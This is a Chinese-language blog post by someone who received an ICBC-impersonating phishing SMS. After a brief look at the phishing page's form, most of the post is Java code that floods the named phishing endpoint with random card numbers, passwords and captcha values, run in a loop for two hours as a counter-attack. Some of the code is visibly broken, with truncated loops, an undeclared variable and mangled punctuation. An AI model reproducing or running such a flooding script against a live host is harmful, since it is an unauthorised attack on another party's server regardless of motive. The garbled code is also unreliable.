接觸網絡一段時間的用戶都會多多少少遇到一些釣魚網站,而作為開發者遇到的釣魚網站更是數不勝數,有時稍不留神就會被釣魚網站將自己的重要信息釣走,對于釣魚網站也是咬牙切齒,當發現釣魚網站后,總是氣憤后關閉離開,或者有些正義感的朋友會選擇舉報該網站。這一次筆者通過分析釣魚網站獲得其傳輸方法,發送垃圾數據反擊作者。
先說說今天的經歷,今天早上去了一趟科技市場,回來發現筆者兩臺不同的手機多了兩條相同的發自95588的信息,大致的內容是筆者的工行密保被凍結了,登陸wap-icbce.pw去解凍,咋看下去好像確實有點蹊蹺,登陸上去還真是有模有樣:
筆者亂輸入了一個卡號和密碼,會顯示這樣的一個界面
無論你輸入什么,他都會顯示這樣一個界面,后來筆者又去工行確認了一下,人工服務告訴筆者這確實是一個釣魚網站。筆者作為一個一身正氣的人怎么能置之不理呢?首先筆者先舉報了這個網站,發現這還沒解氣,筆者嘗試使用電腦登陸這個網站,發現這個網站為了防止電腦的防護軟件還不讓電腦來登陸了。
沒關系,使用強大的chrome筆者成功的在電腦上打開了這個網站(方法不具體說明了,詳細參閱百度百科上的chrome開啟手機網站的方法)
現在可以開始分析網站的源代碼了,該釣魚網站使用。net技術進行編寫,感覺網站除了設計方面剩下都是粗制濫造,驗證碼也是放著其實并沒有進行驗證,網站的首頁是一個識別是否是手機登陸的小圖片,如果是手機登陸點擊會使用submit字段隨便傳回一段字符,猜測在該網頁的服務器端判斷這submit字符應該僅僅使用是否為null來進行判斷。
進入這個登錄界面,能看到里邊table字段中清晰的寫著用戶名密碼以及驗證碼的name,而且獲取方式是使用post獲取,字符編碼使用gb2312,網站分析基本到此結束,現在好戲開場了,首先筆者使用java編寫一段發送數據至asp的java訪問代碼:
public static String doPost(String reqUrl, Map parameters, String recvEncoding) {
HttpURLConnection conn = null;
String responseContent = null;
try {
StringBuffer params = new StringBuffer();
for (Iterator iter = parameters.entrySet()。iterator(); iter.hasNext();) {
Entry element = (Entry) iter.next();
params.append(element.getKey()。toString());
params.append(”=”);
params.append(URLEncoder.encode(element.getValue()。toString(), recvEncoding));
params.append(”&”);
}
if (params.length() > 0) {
params = params.deleteCharAt(params.length() – 1);
}
URL url = new URL(reqUrl);
HttpURLConnection url_con = (HttpURLConnection) url.openConnection();
url_con.setRequestMethod(”POST”);
url_con.setConnectTimeout(5000);//(單位:毫秒)jdk
url_con.setDoOutput(true);
byte[] b = params.toString()。getBytes();
url_con.getOutputStream()。write(b, 0, b.length);
url_con.getOutputStream()。flush();
url_con.getOutputStream()。close();
InputStream in = url_con.getInputStream();
BufferedReader rd = new BufferedReader(new InputStreamReader(in, recvEncoding));
String tempLine = rd.readLine();
StringBuffer tempStr = new StringBuffer();
String crlf = System.getProperty(”line.separator”);
while (tempLine != null) {
tempStr.append(tempLine);
tempStr.append(crlf);
tempLine = rd.readLine();
}
responseContent = tempStr.toString();
rd.close();
in.close();
} catch (IOException e) {
e.printStackTrace();
} finally {
if (conn != null) {
conn.disconnect();
}
}
return responseContent;
}
測試沒問題后,既然要沖擊網站,先要隨機一些銀行卡用戶名和密碼。
先定義一些需要用到的參數以及要攻擊網站的action以及發送的字符編碼:
Map m = new HashMap();
String url = “http://wap-icbce.pw/add_1.asp”;
String code = “gb2312″;
首先銀行卡前綴一般是固定的,前十位不隨機生成:
String randomcarnum10=”6222022102″;
后9位就進行一個隨機生成的工作:
int randomnum;
randomnum = (int) (Math.random()*1000000000);
randomcarnum10+=randomnum;
按照大部分人的習慣,密碼都是前面幾個字母+后邊幾個數字,隨機前后字母的數量隨機生成:
int loopentime,loopnumtime;
loopentime=(int) (Math.random()*10);//隨機的英文密碼長度
loopnumtime=(int) (Math.random()*10);//隨機的中文密碼長度
String randompsw = “”;
String chars = “abcdefghijklmnopqrstuvwxyz”;
for(int i=0;i
randompsw+=chars.charAt((int)(Math.random() * 26));
for(int i=0;i
randompsw+=(int)(Math.random() * 10);
為了以防萬一,驗證碼也隨機生成提交:
String randomidcode;
randomidcode=(int)(Math.random()*10000)+””;
最后將數據直接發送到釣魚網站服務器端:
m.put(”logonCardNum”, randomcarnum);
m.put(”netType”, randompsw);
m.put(”randomId”, randomidcode);
String rus = doPost(url, m, code);
//
System.out.println(rus);
讓看看成果吧,在程序代碼的最后筆者在控制臺中輸出了釣魚網站返回的html文本內容
對比一下釣魚網站出現的等待跳轉界面的html文本內容,基本能確定應該是已經上傳數據成功了!寫個循環,讓程序跑個2小時
這次網站攻擊采用了簡單的網頁關鍵信息獲取方法,以及編寫簡單的java代碼,達到反擊釣魚網站的目的,寫這篇文章也是希望能夠拋磚引玉,大神輕噴,筆者有什么建議私信給筆者,筆者會很樂于接受多學習多改進。
上一篇:PHP回調后門